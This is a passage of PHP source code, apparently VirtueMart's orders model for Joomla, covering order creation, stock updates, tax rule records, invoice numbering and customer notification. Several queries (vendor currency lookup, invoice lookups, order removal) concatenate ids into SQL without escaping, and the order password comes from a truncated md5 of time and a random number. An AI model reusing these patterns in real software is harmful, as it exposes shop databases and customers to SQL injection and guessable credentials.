$VatTax['calc_name']; $taxes[$k]['calc_value'] = $VatTax['calc_value']; $taxes[$k]['result'] = $VatTax['result']; } $_orderData->order_billTax = json_encode($taxes); } if (!empty($_cart->couponCode)) { $_orderData->coupon_code = $_cart->couponCode; $_orderData->coupon_discount = $_prices['salesPriceCoupon']; } $_orderData->order_discount = $_prices['discountAmount']; // discount order_items $_orderData->order_status = 'P'; $_orderData->order_currency = $this->getVendorCurrencyId($_orderData->virtuemart_vendor_id); if (isset($_cart->pricesCurrency)) { $_orderData->user_currency_id = $_cart->paymentCurrency ;//$this->getCurrencyIsoCode($_cart->pricesCurrency); $currency = CurrencyDisplay::getInstance($_orderData->user_currency_id); if($_orderData->user_currency_id != $_orderData->order_currency){ $_orderData->user_currency_rate = $currency->convertCurrencyTo($_orderData->user_currency_id ,1.0,false); } else { $_orderData->user_currency_rate=1.0; } } $_orderData->virtuemart_paymentmethod_id = $_cart->virtuemart_paymentmethod_id; $_orderData->virtuemart_shipmentmethod_id = $_cart->virtuemart_shipmentmethod_id; $_filter = JFilterInput::getInstance (array('br', 'i', 'em', 'b', 'strong'), array(), 0, 0, 1); $_orderData->customer_note = $_filter->clean($_cart->customer_comment); $_orderData->order_language = $_cart->order_language; $_orderData->ip_address = $_SERVER['REMOTE_ADDR']; $_orderData->order_number =''; JPluginHelper::importPlugin('vmshopper'); $dispatcher = JDispatcher::getInstance(); $plg_datas = $dispatcher->trigger('plgVmOnUserOrder',array(&$_orderData)); foreach($plg_datas as $plg_data){ // $data = array_merge($plg_data,$data); } if(empty($_orderData->order_number)){ $_orderData->order_number = $this->generateOrderNumber($_usr->get('id'),4,$_orderData->virtuemart_vendor_id); } if(empty($_orderData->order_pass)){ $_orderData->order_pass = 'p_'.substr( md5((string)time().rand(1,1000).$_orderData->order_number ), 0, 5); } $orderTable = $this->getTable('orders'); $orderTable -> bindChecknStore($_orderData); $errors = $orderTable->getErrors(); foreach($errors as $error){ vmError($error); } $db = JFactory::getDBO(); $_orderID = $db->insertid(); if (!empty($_cart->couponCode)) { //set the virtuemart_order_id in the Request for 3rd party coupon components (by Seyi and Max) JRequest::setVar ( 'virtuemart_order_id', $_orderData->virtuemart_order_id ); // If a gift coupon was used, remove it now //CouponHelper::RemoveCoupon($_cart->couponCode); CouponHelper::setInUseCoupon($_cart->couponCode, true); } // the order number is saved into the session to make sure that the correct cart is emptied with the payment notification $_cart->order_number=$_orderData->order_number; $_cart->setCartIntoSession (); return $_orderID; } private function getVendorCurrencyId($vendorId){ $q = 'SELECT `vendor_currency` FROM `#__virtuemart_vendors` WHERE `virtuemart_vendor_id`="'.$vendorId.'" '; $db = JFactory::getDBO(); $db->setQuery($q); $vendorCurrency = $db->loadResult(); return $vendorCurrency; // return $this->getCurrencyIsoCode($vendorCurrency); } private function getCurrencyIsoCode($vmCode){ $q = 'SELECT `currency_numeric_code` FROM `#__virtuemart_currencies` WHERE `virtuemart_currency_id`="'.$vmCode.'" '; $db = JFactory::getDBO(); $db->setQuery($q); return $db->loadResult(); } /** * Write the BillTo record, and if set, the ShipTo record * * @author Oscar van Eijk * @param integer $_id Order ID * @param object $_usr User object * @param object $_cart Cart object * @return boolean True on success */ private function _writeUserInfo($_id, &$_usr, $_cart) { $_userInfoData = array(); if(!class_exists('VirtueMartModelUserfields')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'userfields.php'); //if(!class_exists('shopFunctions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'shopfunctions.php'); $_userFieldsModel = VmModel::getModel('userfields'); $_userFieldsBT = $_userFieldsModel->getUserFields('account' , array('delimiters'=>true, 'captcha'=>true) , array('username', 'password', 'password2', 'user_is_vendor') ); foreach ($_userFieldsBT as $_fld) { $_name = $_fld->name; if(!empty( $_cart->BT[$_name])){ if (is_array( $_cart->BT[$_name])) { $_userInfoData[$_name] = implode("|*|",$_cart->BT[$_name]); } else { $_userInfoData[$_name] = $_cart->BT[$_name]; } } } $_userInfoData['virtuemart_order_id'] = $_id; $_userInfoData['virtuemart_user_id'] = $_usr->get('id'); $_userInfoData['address_type'] = 'BT'; $order_userinfosTable = $this->getTable('order_userinfos'); if (!$order_userinfosTable->bindChecknStore($_userInfoData)){ vmError($order_userinfosTable->getError()); return false; } if ($_cart->ST) { $_userInfoData = array(); // $_userInfoData['virtuemart_order_userinfo_id'] = null; // Reset key to make sure it doesn't get overwritten by ST $_userFieldsST = $_userFieldsModel->getUserFields('shipment' , array('delimiters'=>true, 'captcha'=>true) , array('username', 'password', 'password2', 'user_is_vendor') ); foreach ($_userFieldsST as $_fld) { $_name = $_fld->name; if(!empty( $_cart->ST[$_name])){ $_userInfoData[$_name] = $_cart->ST[$_name]; } } $_userInfoData['virtuemart_order_id'] = $_id; $_userInfoData['virtuemart_user_id'] = $_usr->get('id'); $_userInfoData['address_type'] = 'ST'; $order_userinfosTable = $this->getTable('order_userinfos'); if (!$order_userinfosTable->bindChecknStore($_userInfoData)){ vmError($order_userinfosTable->getError()); return false; } } return true; } function handleStockAfterStatusChangedPerProduct($newState, $oldState,$tableOrderItems, $quantity) { if($newState == $oldState) return; // $StatutWhiteList = array('P','C','X','R','S','N'); $db = JFactory::getDBO(); $db->setQuery('SELECT * FROM `#__virtuemart_orderstates` '); $StatutWhiteList = $db->loadAssocList('order_status_code'); // new product is statut N $StatutWhiteList['N'] = Array ( 'order_status_id' => 0 , 'order_status_code' => 'N' , 'order_stock_handle' => 'A'); if(!array_key_exists($oldState,$StatutWhiteList) or !array_key_exists($newState,$StatutWhiteList)) { vmError('The workflow for '.$newState.' or '.$oldState.' is unknown, take a look on model/orders function handleStockAfterStatusChanged','Can\'t process workflow, contact the shopowner. Status is'.$newState); return ; } //vmdebug( 'updatestock qt :' , $quantity.' id :'.$productId); // P Pending // C Confirmed // X Cancelled // R Refunded // S Shipped // N New or coming from cart // TO have no product setted as ordered when added to cart simply delete 'P' FROM array Reserved // don't set same values in the 2 arrays !!! // stockOut is in normal case shipped product //order_stock_handle // 'A' : stock Available // 'O' : stock Out // 'R' : stock reserved // the status decreasing real stock ? // $stockOut = array('S'); if ($StatutWhiteList[$newState]['order_stock_handle'] == 'O') $isOut = 1; else $isOut = 0; if ($StatutWhiteList[$oldState]['order_stock_handle'] == 'O') $wasOut = 1; else $wasOut = 0; // $isOut = in_array($newState, $stockOut); // $wasOut= in_array($oldState, $stockOut); // Stock change ? if ($isOut && !$wasOut) $product_in_stock = '-'; else if ($wasOut && !$isOut ) $product_in_stock = '+'; else $product_in_stock = '='; // the status increasing reserved stock(virtual Stock = product_in_stock - product_ordered) // $Reserved = array('P','C'); if ($StatutWhiteList[$newState]['order_stock_handle'] == 'R') $isReserved = 1; else $isReserved = 0; if ($StatutWhiteList[$oldState]['order_stock_handle'] == 'R') $wasReserved = 1; else $wasReserved = 0; // $isReserved = in_array($newState, $Reserved); // $wasReserved = in_array($oldState, $Reserved); // reserved stock must be change(all ordered product) if ($isReserved && !$wasReserved ) $product_ordered = '+'; else if (!$isReserved && $wasReserved ) $product_ordered = '-'; else $product_ordered = '='; //Here trigger plgVmGetProductStockToUpdateByCustom $productModel = VmModel::getModel('product'); if (!empty($tableOrderItems->product_attribute)) { if(!class_exists('VirtueMartModelCustomfields'))require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'customfields.php'); $virtuemart_product_id = $tableOrderItems->virtuemart_product_id; $product_attributes = json_decode($tableOrderItems->product_attribute,true); foreach ($product_attributes as $virtuemart_customfield_id=>$param){ if ($param) { if ($productCustom = VirtueMartModelCustomfields::getProductCustomField ($virtuemart_customfield_id ) ) { if ($productCustom->field_type == "E") { //$product = self::addParam($product); if(!class_exists('vmCustomPlugin')) require(JPATH_VM_PLUGINS.DS.'vmcustomplugin.php'); JPluginHelper::importPlugin('vmcustom'); $dispatcher = JDispatcher::getInstance(); //vmdebug('handleStockAfterStatusChangedPerProduct ',$param); $dispatcher->trigger('plgVmGetProductStockToUpdateByCustom',array(&$tableOrderItems,$param, $productCustom)); } } } } //vmdebug('produit',$product); // we can have more then one product in case of pack // in case of child, ID must be the child ID // TO DO use $prod->amount change for packs(eg. 1 computer and 2 HDD) if (is_array($tableOrderItems)) foreach ($tableOrderItems as $prod ) $productModel->updateStockInDB($prod, $quantity,$product_in_stock,$product_ordered); else $productModel->updateStockInDB($tableOrderItems, $quantity,$product_in_stock,$product_ordered); } else { $productModel->updateStockInDB ($tableOrderItems, $quantity,$product_in_stock,$product_ordered); } } /** * Create the ordered item records * * @author Oscar van Eijk * @author Kohl Patrick * @param integer $_id integer Order ID * @param object $_cart array The cart data * @return boolean True on success */ private function _createOrderLines($_id, $_cart) { $_orderItems = $this->getTable('order_items'); // $_lineCount = 0; foreach ($_cart->products as $priceKey=>$_prod) { if (!is_int($priceKey)) { if(!class_exists('calculationHelper')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'calculationh.php'); $calculator = calculationHelper::getInstance(); $variantmods = $calculator->parseModifier($priceKey); $row=0 ; //$product_id = (int)$priceKey; $_prod->product_attribute = ''; $product_attribute = array(); //MarkerVarMods //foreach($variantmods as $variant=>$selected){ foreach($variantmods as $selected=>$variant){ if ($selected) { if(!class_exists('VirtueMartModelCustomfields')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'customfields.php'); $productCustom = VirtueMartModelCustomfields::getProductCustomField ($selected ); //vmdebug('$_prod,$productCustom',$productCustom ); if ($productCustom->field_type == "E") { if(!class_exists('vmCustomPlugin')) require(JPATH_VM_PLUGINS.DS.'vmcustomplugin.php'); //We need something like this $product_attribute[$selected] = $productCustom->virtuemart_custom_id; //but seems we are forced to use this //$product_attribute[$selected] = $selected; if(!empty($_prod->param)){ foreach($_prod->param as $k => $plg){ if ($k == $selected){ //TODO productCartId $product_attribute[$selected] = $plg ; } } } } else { $product_attribute[$selected] = ' '.$productCustom->custom_title.''.$productCustom->custom_value.''; //$product_attribute[$variant] = ' '.$productCustom->custom_title.''.$productCustom->custom_value.''; } } $row++; } //if (isset($_prod->userfield )) $_prod->product_attribute .= '
      '.$_prod->userfield.' : '; $_orderItems->product_attribute = json_encode($product_attribute); //print_r($product_attribute); } else { $_orderItems->product_attribute = null ; } // TODO: add fields for the following data: // * [double] basePrice = 38.48 // * [double] basePriceVariant = 38.48 // * [double] basePriceWithTax = 42.04 // * [double] discountedPriceWithoutTax = 36.48 // * [double] priceBeforeTax = 36.48 // * [double] salesPrice = 39.85 // * [double] salesPriceTemp = 39.85 // * [double] taxAmount = 3.37 // * [double] salesPriceWithDiscount = 0 // * [double] discountAmount = 2.19 // * [double] priceWithoutTax = 36.48 // * [double] variantModification = 0 $_orderItems->virtuemart_order_item_id = null; $_orderItems->virtuemart_order_id = $_id; // $_orderItems->virtuemart_userinfo_id = 'TODO'; //$_cart['BT']['virtuemart_userinfo_id']; // TODO; Add it in the cart... but where is this used? Obsolete? $_orderItems->virtuemart_vendor_id = $_prod->virtuemart_vendor_id; $_orderItems->virtuemart_product_id = $_prod->virtuemart_product_id; $_orderItems->order_item_sku = $_prod->product_sku; $_orderItems->order_item_name = $_prod->product_name; //TODO Patrick $_orderItems->product_quantity = $_prod->quantity; $_orderItems->product_item_price = $_cart->pricesUnformatted[$priceKey]['basePrice']; $_orderItems->product_basePriceWithTax = $_cart->pricesUnformatted[$priceKey]['basePriceWithTax']; $_orderItems->product_priceWithoutTax = $_cart->pricesUnformatted[$priceKey]['priceWithoutTax']; $_orderItems->product_discountedPriceWithoutTax = $_cart->pricesUnformatted[$priceKey]['discountedPriceWithoutTax']; //$_orderItems->product_tax = $_cart->pricesUnformatted[$priceKey]['subtotal_tax_amount']; $_orderItems->product_tax = $_cart->pricesUnformatted[$priceKey]['taxAmount']; $_orderItems->product_final_price = $_cart->pricesUnformatted[$priceKey]['salesPrice']; $_orderItems->product_subtotal_discount = $_cart->pricesUnformatted[$priceKey]['subtotal_discount']; $_orderItems->product_subtotal_with_tax = $_cart->pricesUnformatted[$priceKey]['subtotal_with_tax']; // $_orderItems->order_item_currency = $_prices[$_lineCount]['']; // TODO Currency $_orderItems->order_status = 'P'; if (!$_orderItems->check()) { vmError($this->getError()); return false; } // Save the record to the database if (!$_orderItems->store()) { vmError($this->getError()); return false; } $_prod->virtuemart_order_item_id = $_orderItems->virtuemart_order_item_id; // vmdebug('_createOrderLines',$_prod); $this->handleStockAfterStatusChangedPerProduct( $_orderItems->order_status,'N',$_orderItems,$_orderItems->product_quantity); } //jExit(); return true; } /** * Create the ordered item records * * @author Valerie Isaksen * @param integer $_id integer Order ID * @param object $_cart array The cart data * @return boolean True on success */ private function _createOrderCalcRules($order_id, $_cart) { $productKeys = array_keys($_cart->products); $calculation_kinds = array('DBTax','Tax','VatTax','DATax'); foreach($productKeys as $key){ foreach($calculation_kinds as $calculation_kind) { if(!isset($_cart->pricesUnformatted[$key][$calculation_kind])) continue; $productRules = $_cart->pricesUnformatted[$key][$calculation_kind]; foreach($productRules as $rule){ $orderCalcRules = $this->getTable('order_calc_rules'); $orderCalcRules->virtuemart_order_calc_rule_id= null; $orderCalcRules->virtuemart_calc_id= $rule[7]; $orderCalcRules->virtuemart_order_item_id = $_cart->products[$key]->virtuemart_order_item_id; $orderCalcRules->calc_rule_name = $rule[0]; $orderCalcRules->calc_amount = 0; $orderCalcRules->calc_result = 0; if ($calculation_kind == 'VatTax') { $orderCalcRules->calc_amount = $_cart->pricesUnformatted[$key]['taxAmount']; $orderCalcRules->calc_result = $_cart->cartData['VatTax'][$rule[7]]['result']; } $orderCalcRules->calc_value = $rule[1]; $orderCalcRules->calc_mathop = $rule[2]; $orderCalcRules->calc_kind = $calculation_kind; $orderCalcRules->calc_currency = $rule[4]; $orderCalcRules->calc_params = $rule[5]; $orderCalcRules->virtuemart_vendor_id = $rule[6]; $orderCalcRules->virtuemart_order_id = $order_id; if (!$orderCalcRules->check()) { vmError('_createOrderCalcRules check product rule '.$this->getError()); vmdebug('_createOrderCalcRules check product rule '.$this->getError()); return false; } // Save the record to the database if (!$orderCalcRules->store()) { vmError('_createOrderCalcRules store product rule '.$this->getError()); vmdebug('_createOrderCalcRules store product rule '.$this->getError()); return false; } } } } $Bill_calculation_kinds=array('DBTaxRulesBill', 'taxRulesBill', 'DATaxRulesBill'); // vmdebug('_createOrderCalcRules',$_cart ); foreach($Bill_calculation_kinds as $calculation_kind) { // if(empty($_cart->cartData)){ // vmError('Cart data was empty, why?'); // if(!class_exists('calculationHelper')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'calculationh.php'); // $calculator = calculationHelper::getInstance(); // $_cart->cartData = $calculator->getCartData(); // } foreach($_cart->cartData[$calculation_kind] as $rule){ $orderCalcRules = $this->getTable('order_calc_rules'); $orderCalcRules->virtuemart_order_calc_rule_id = null; $orderCalcRules->virtuemart_calc_id= $rule['virtuemart_calc_id']; $orderCalcRules->calc_rule_name= $rule['calc_name']; $orderCalcRules->calc_amount = $_cart->pricesUnformatted[$rule['virtuemart_calc_id'].'Diff']; if ($calculation_kind == 'taxRulesBill' and !empty($_cart->cartData['VatTax'][$rule['virtuemart_calc_id']]['result'])) { $orderCalcRules->calc_result = $_cart->cartData['VatTax'][$rule['virtuemart_calc_id']]['result']; } $orderCalcRules->calc_kind=$calculation_kind; $orderCalcRules->calc_mathop=$rule['calc_value_mathop']; $orderCalcRules->virtuemart_order_id=$order_id; $orderCalcRules->calc_params=$rule['calc_params']; if (!$orderCalcRules->check()) { vmError('_createOrderCalcRules store bill rule '.$this->getError()); return false; } // Save the record to the database if (!$orderCalcRules->store()) { vmError('_createOrderCalcRules store bill rule '.$this->getError()); return false; } } } if(!empty($_cart->virtuemart_paymentmethod_id)){ $orderCalcRules = $this->getTable('order_calc_rules'); $calcModel = VmModel::getModel('calc'); $calcModel->setId($_cart->pricesUnformatted['payment_calc_id']); $calc = $calcModel->getCalc(); $orderCalcRules->virtuemart_order_calc_rule_id = null; $orderCalcRules->virtuemart_calc_id = $calc->virtuemart_calc_id; $orderCalcRules->calc_kind = 'payment'; $orderCalcRules->calc_rule_name = $calc->calc_name; $orderCalcRules->calc_amount = $_cart->pricesUnformatted['paymentTax']; $orderCalcRules->calc_value = $calc->calc_value; $orderCalcRules->calc_mathop = $calc->calc_value_mathop; $orderCalcRules->calc_currency = $calc->calc_currency; $orderCalcRules->calc_params = $calc->calc_params; $orderCalcRules->virtuemart_vendor_id = $calc->virtuemart_vendor_id; $orderCalcRules->virtuemart_order_id = $order_id; if (!$orderCalcRules->check()) { vmError('_createOrderCalcRules store payment rule '.$this->getError()); return false; } // Save the record to the database if (!$orderCalcRules->store()) { vmError('_createOrderCalcRules store payment rule '.$this->getError()); return false; } } if(!empty($_cart->virtuemart_shipmentmethod_id)){ $orderCalcRules = $this->getTable('order_calc_rules'); $calcModel = VmModel::getModel('calc'); $calcModel->setId($_cart->pricesUnformatted['shipment_calc_id']); $calc = $calcModel->getCalc(); $orderCalcRules->virtuemart_order_calc_rule_id = null; $orderCalcRules->virtuemart_calc_id = $calc->virtuemart_calc_id; $orderCalcRules->calc_kind = 'shipment'; $orderCalcRules->calc_rule_name = $calc->calc_name; $orderCalcRules->calc_amount = $_cart->pricesUnformatted['shipmentTax']; $orderCalcRules->calc_value = $calc->calc_value; $orderCalcRules->calc_mathop = $calc->calc_value_mathop; $orderCalcRules->calc_currency = $calc->calc_currency; $orderCalcRules->calc_params = $calc->calc_params; $orderCalcRules->virtuemart_vendor_id = $calc->virtuemart_vendor_id; $orderCalcRules->virtuemart_order_id = $order_id; if (!$orderCalcRules->check()) { vmError('_createOrderCalcRules store shipment rule '.$this->getError()); return false; } // Save the record to the database if (!$orderCalcRules->store()) { vmError('_createOrderCalcRules store shipment rule '.$this->getError()); return false; } } //jExit(); return true; } /** * Update the order history * * @author Oscar van Eijk * @param $_id Order ID * @param $_status New order status (default: P) * @param $_notified 1 (default) if the customer was notified, 0 otherwise * @param $_comment (Customer) comment, default empty */ public function _updateOrderHist($_id, $_status = 'P', $_notified = 0, $_comment = '') { $_orderHist = $this->getTable('order_histories'); $_orderHist->virtuemart_order_id = $_id; $_orderHist->order_status_code = $_status; //$_orderHist->date_added = date('Y-m-d G:i:s', time()); $_orderHist->customer_notified = $_notified; $_orderHist->comments = nl2br($_comment); $_orderHist->store(); } /** * Update the order item history * * @author Oscar van Eijk,kohl patrick * @param $_id Order ID * @param $_status New order status (default: P) * @param $_notified 1 (default) if the customer was notified, 0 otherwise * @param $_comment (Customer) comment, default empty */ private function _updateOrderItemHist($_id, $status = 'P', $notified = 1, $comment = '') { $_orderHist = $this->getTable('order_item_histories'); $_orderHist->virtuemart_order_item_id = $_id; $_orderHist->order_status_code = $status; $_orderHist->customer_notified = $notified; $_orderHist->comments = $comment; $_orderHist->store(); } /** * Generate a unique ordernumber. This is done in a similar way as VM1.1.x, although * the reason for this is unclear to me :-S * * @author Oscar van Eijk * @param integer $uid The user ID. Defaults to 0 for guests * @return string A unique ordernumber */ static public function generateOrderNumber($uid = 0,$length=10, $virtuemart_vendor_id=1) { $db = JFactory::getDBO(); $q = 'SELECT COUNT(1) FROM #__virtuemart_orders WHERE `virtuemart_vendor_id`="'.$virtuemart_vendor_id.'"'; $db->setQuery($q); //We can use that here, because the order_number is free to set, the invoice_number must often follow special rules $count = $db->loadResult(); $count = $count + (int)VM_ORDER_OFFSET; // vmdebug('my db creating ordernumber VM_ORDER_OFFSET '.VM_ORDER_OFFSET.' $count '.$count, $this->_db); // $variable_fixed=sprintf("%06s",$num_rows); $data = substr( md5( session_id().(string)time().(string)$uid ) ,0 ,$length ).'0'.$count; return $data; } /* * returns true if an invoice number has been created * returns false if an invoice number has not been created due to some configuration parameters */ function createInvoiceNumber($orderDetails, &$invoiceNumber){ $orderDetails = (array)$orderDetails; $db = JFactory::getDBO(); if(!isset($orderDetails['virtuemart_order_id'])){ vmWarn('createInvoiceNumber $orderDetails has no virtuemart_order_id ',$orderDetails); vmdebug('createInvoiceNumber $orderDetails has no virtuemart_order_id ',$orderDetails); } $q = 'SELECT * FROM `#__virtuemart_invoices` WHERE `virtuemart_order_id`= "'.$orderDetails['virtuemart_order_id'].'" '; // AND `order_status` = "'.$orderDetails->order_status.'" '; $db->setQuery($q); $result = $db->loadAssoc(); // vmdebug('my createInvoiceNumber $q '.$q,$result); if (!class_exists('ShopFunctions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'shopfunctions.php'); if(!$result or empty($result['invoice_number']) ){ $data['virtuemart_order_id'] = $orderDetails['virtuemart_order_id']; $data['order_status'] = $orderDetails['order_status']; $data['virtuemart_vendor_id'] = $orderDetails['virtuemart_vendor_id']; JPluginHelper::importPlugin('vmshopper'); JPluginHelper::importPlugin('vmpayment'); $dispatcher = JDispatcher::getInstance(); // plugin returns invoice number, 0 if it does not want an invoice number to be created by Vm $plg_datas = $dispatcher->trigger('plgVmOnUserInvoice',array($orderDetails,&$data)); foreach($plg_datas as $plg_data){ // $data = array_merge($plg_data,$data); } if(!isset($data['invoice_number']) ) { // check the default configuration $orderstatusForInvoice = VmConfig::get('inv_os',array('C')); if(!is_array($orderstatusForInvoice)) $orderstatusForInvoice = array($orderstatusForInvoice); //for backward compatibility 2.0.8e $pdfInvoice = (int)VmConfig::get('pdf_invoice', 0); // backwards compatible $force_create_invoice=JRequest::getInt('create_invoice', 0); // florian : added if pdf invoice are enabled if ( in_array($orderDetails['order_status'],$orderstatusForInvoice) or $pdfInvoice==1 or $force_create_invoice==1 ){ $q = 'SELECT COUNT(1) FROM `#__virtuemart_invoices` WHERE `virtuemart_vendor_id`= "'.$orderDetails['virtuemart_vendor_id'].'" '; // AND `order_status` = "'.$orderDetails->order_status.'" '; $db->setQuery($q); $count = $db->loadResult()+1; if(empty($data['invoice_number'])) { //$variable_fixed=sprintf("%05s",$num_rows); $date = date("Y-m-d"); // $date = JFactory::getDate()->toMySQL(); $data['invoice_number'] = str_replace('-', '', substr($date,2,8)).substr(md5($orderDetails['order_number'].$orderDetails['order_status']),0,3).'0'.$count; } } else { return false; } } $table = $this->getTable('invoices'); $table->bindChecknStore($data); $invoiceNumber= array($table->invoice_number,$table->created_on); } elseif (ShopFunctions::InvoiceNumberReserved($result['invoice_number']) ) { $invoiceNumber = array($result['invoice_number'],$result['created_on']); return true; } else { $invoiceNumber = array($result['invoice_number'],$result['created_on']); } return true; } /* * @author Valérie Isaksen */ function getInvoiceNumber($virtuemart_order_id){ $db = JFactory::getDBO(); $q = 'SELECT `invoice_number` FROM `#__virtuemart_invoices` WHERE `virtuemart_order_id`= "'.$virtuemart_order_id.'" '; $db->setQuery($q); return $db->loadresult(); } /** * Notifies the customer that the Order Status has been changed * * @author RolandD, Christopher Roussel, Valérie Isaksen, Max Milbers * */ private function notifyCustomer($virtuemart_order_id, $newOrderData = 0 ) { // vmdebug('notifyCustomer', $newOrderData); if (isset($newOrderData['customer_notified']) && $newOrderData['customer_notified']==0) { return true; } if(!class_exists('shopFunctionsF')) require(JPATH_VM_SITE.DS.'helpers'.DS.'shopfunctionsf.php'); //Important, the data of the order update mails, payments and invoice should //always be in the database, so using getOrder is the right method $orderModel=VmModel::getModel('orders'); $order = $orderModel->getOrder($virtuemart_order_id); $payment_name = $shipment_name=''; if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmshipment'); JPluginHelper::importPlugin('vmpayment'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmOnShowOrderFEShipment',array( $order['details']['BT']->virtuemart_order_id, $order['details']['BT']->virtuemart_shipmentmethod_id, &$shipment_name)); $returnValues = $dispatcher->trigger('plgVmOnShowOrderFEPayment',array( $order['details']['BT']->virtuemart_order_id, $order['details']['BT']->virtuemart_paymentmethod_id, &$payment_name)); $order['shipmentName']=$shipment_name; $order['paymentName']=$payment_name; if($newOrderData!=0){ //We do not really need that $vars['newOrderData'] = (array)$newOrderData; } $vars['orderDetails']=$order; //$vars['includeComments'] = JRequest::getVar('customer_notified', array()); //I think this is misleading, I think it should always ask for example $vars['newOrderData']['doVendor'] directly //Using this function garantue us that it is always there. If the vendor should be informed should be done by the plugins //We may add later something to the method, defining this better $vars['url'] = 'url'; if(!isset($newOrderData['doVendor'])) $vars['doVendor'] = false; else $vars['doVendor'] = $newOrderData['doVendor']; $virtuemart_vendor_id=1; $vendorModel = VmModel::getModel('vendor'); $vendor = $vendorModel->getVendor($virtuemart_vendor_id); $vars['vendor'] = $vendor; $vendorEmail = $vendorModel->getVendorEmail($virtuemart_vendor_id); $vars['vendorEmail'] = $vendorEmail; /* $path = VmConfig::get('forSale_path',0); $orderstatusForInvoice = VmConfig::get('inv_os','C'); $pdfInvoice = VmConfig::get('pdf_invoice', 1); // backwards compatible */ // florian : added if pdf invoice are enabled //if ($this->getInvoiceNumber( $order['details']['BT']->virtuemart_order_id ) ){ $invoiceNumberDate = array(); if ($orderModel->createInvoiceNumber($order['details']['BT'], $invoiceNumberDate )) { $orderstatusForInvoice = VmConfig::get('inv_os',array('C')); if(!is_array($orderstatusForInvoice)) $orderstatusForInvoice = array($orderstatusForInvoice); // for backward compatibility 2.0.8e $pdfInvoice = (int)VmConfig::get('pdf_invoice', 0); // backwards compatible $force_create_invoice=JRequest::getInt('create_invoice', 0); //TODO we need an array of orderstatus if ( (in_array($order['details']['BT']->order_status,$orderstatusForInvoice)) or $pdfInvoice==1 or $force_create_invoice==1 ){ if (!shopFunctions::InvoiceNumberReserved($invoiceNumberDate[0])) { if(!class_exists('VirtueMartControllerInvoice')) require( JPATH_VM_SITE.DS.'controllers'.DS.'invoice.php' ); $controller = new VirtueMartControllerInvoice( array( 'model_path' => JPATH_VM_SITE.DS.'models', 'view_path' => JPATH_VM_SITE.DS.'views' )); $vars['mediaToSend'][] = $controller->getInvoicePDF($order); } } } // Send the email $res = shopFunctionsF::renderMail('invoice', $order['details']['BT']->email, $vars, null,$vars['doVendor'],$this->useDefaultEmailOrderStatus); if(is_object($res) or !$res){ $string = 'COM_VIRTUEMART_NOTIFY_CUSTOMER_ERR_SEND'; vmdebug('notifyCustomer function shopFunctionsF::renderMail throws JException'); $res = 0; } //We need this, to prevent that a false alert is thrown. else if ($res and $res!=-1) { $string = 'COM_VIRTUEMART_NOTIFY_CUSTOMER_SEND_MSG'; } if($res!=-1){ vmInfo( JText::_($string,false).' '.$order['details']['BT']->first_name.' '.$order['details']['BT']->last_name. ', '.$order['details']['BT']->email); } return true; } /** * Retrieve the details for an order line item. * * @author RickG * @param string $orderId Order id number * @param string $orderLineId Order line item number * @return object Object containing the order item details. */ function getOrderLineDetails($orderId, $orderLineId) { $table = $this->getTable('order_items'); if ($table->load((int)$orderLineId)) { return $table; } else { $table->reset(); $table->virtuemart_order_id = $orderId; return $table; } } /** * Save an order line item. * * @author RickG * @return boolean True of remove was successful, false otherwise */ function saveOrderLineItem($data) { $table = $this->getTable('order_items'); //Done in the table already /* $curDate = JFactory::getDate(); $data['modified_on'] = $curDate->toMySql();*/ if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmshipment'); $_dispatcher = JDispatcher::getInstance(); $_returnValues = $_dispatcher->trigger('plgVmOnUpdateOrderLineShipment',array( $data)); foreach ($_returnValues as $_retVal) { if ($_retVal === false) { // Stop as soon as the first active plugin returned a failure status return; } } if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmpayment'); $_returnValues = $_dispatcher->trigger('plgVmOnUpdateOrderLinePayment',array( $data)); foreach ($_returnValues as $_retVal) { if ($_retVal === false) { // Stop as soon as the first active plugin returned a failure status return; } } $table->bindChecknStore($data); return true; // return true; } /* *remove product from order item table *@var $virtuemart_order_id Order to clear */ function removeOrderItems ($virtuemart_order_id){ $q ='DELETE from `#__virtuemart_order_items` WHERE `virtuemart_order_id` = ' .(int) $virtuemart_order_id; $this->_db->setQuery($q); if ($this->_db->query() === false) { vmError($this->_db->getError()); return false; } return true; } /** * Remove an order line item. * * @author RickG * @param string $orderLineId Order line item number * @return boolean True of remove was successful, false otherwise */ function removeOrderLineItem($orderLineId) { $item = $this->getTable('order_items'); if (!$item->load($orderLineId)) { vmError($item->getError()); return false; } //TODO Why should the stock change, when the order is deleted? Paypal? Valerie? // $this->handleStockAfterStatusChangedPerProduct('C', $item->order_status,$item, $item->product_quantity); if ($item->delete($orderLineId)) { return true; } else { vmError($item->getError()); return false; } } /** * Delete all record ids selected * * @author Max Milbers * @author Patrick Kohl * @return boolean True is the delete was successful, false otherwise. */ public function remove($ids) { $table = $this->getTable($this->_maintablename); foreach($ids as $id) { // remove order_item and update stock $q = "SELECT `virtuemart_order_item_id` FROM `#__virtuemart_order_items` WHERE `virtuemart_order_id`=".$id; $this->_db->setQuery($q); $item_ids = $this->_db->loadResultArray(); foreach( $item_ids as $item_id ) { $this->removeOrderLineItem($item_id); } // rename invoice number by adding the date, and update the invoice table $this->renameInvoice($id ); if (!$table->delete((int)$id)) { vmError(get_class( $this ).'::remove '.$id.' '.$table->getError()); return false; } } return true; } /** Update order head record * * @author Ondřej Spilka * @author Maik Künnemann * @return boolean True is the update was successful, otherwise false. */ public function UpdateOrderHead($virtuemart_order_id, $_orderData) { $orderTable = $this->getTable('orders'); $orderTable->load($virtuemart_order_id); if (!$orderTable->bindChecknStore($_orderData, true)){ vmError($orderTable->getError()); return false; } $_userInfoData = array(); if(!class_exists('VirtueMartModelUserfields')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'userfields.php'); $_userFieldsModel = VmModel::getModel('userfields'); //bill to 